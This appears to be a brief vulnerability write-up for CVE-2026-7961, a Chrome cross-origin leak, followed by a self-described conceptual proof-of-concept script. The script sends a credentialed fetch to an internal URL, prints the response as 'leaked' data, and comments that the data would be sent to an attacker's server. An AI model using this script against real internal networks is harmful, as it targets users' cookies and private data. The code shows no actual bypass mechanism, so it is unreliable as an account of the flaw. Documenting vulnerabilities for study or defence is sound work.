CVE-2026-7961 Google Chrome权限不足导致跨域数据泄露

/* * Conceptual Proof of Concept (PoC) for CVE-2026-7961 * This script demonstrates how an attacker might attempt to leak cross-origin data * due to insufficient validation in Permissions on a local network segment. * Note: Actual exploitation requires specific network conditions and a vulnerable browser version. */ // Target internal resource that should normally be protected by Same-Origin Policy const targetUrl = 'http://internal.local/sensitive-data.json'; function attemptDataLeak() { console.log("[+] Attempting to exploit CVE-2026-7961..."); // In a vulnerable version, malicious network traffic can trigger a permission bypass // This could be initiated via a rogue local network response or manipulated request. fetch(targetUrl, { method: 'GET', mode: 'cors', // Attempting CORS request credentials: 'include' // Including cookies if available }) .then(response => { if (response.ok) { return response.text(); } throw new Error('Request failed or blocked by CORS'); }) .then(data => { console.log("[!] Successfully leaked cross-origin data:"); console.log(data); // Data would be exfiltrated to the attacker's server here }) .catch(error => { console.log("[-] Exploit failed (expected on patched versions):", error.message); }); } // Simulate the attack scenario try { attemptDataLeak(); } catch (e) { console.error(e); }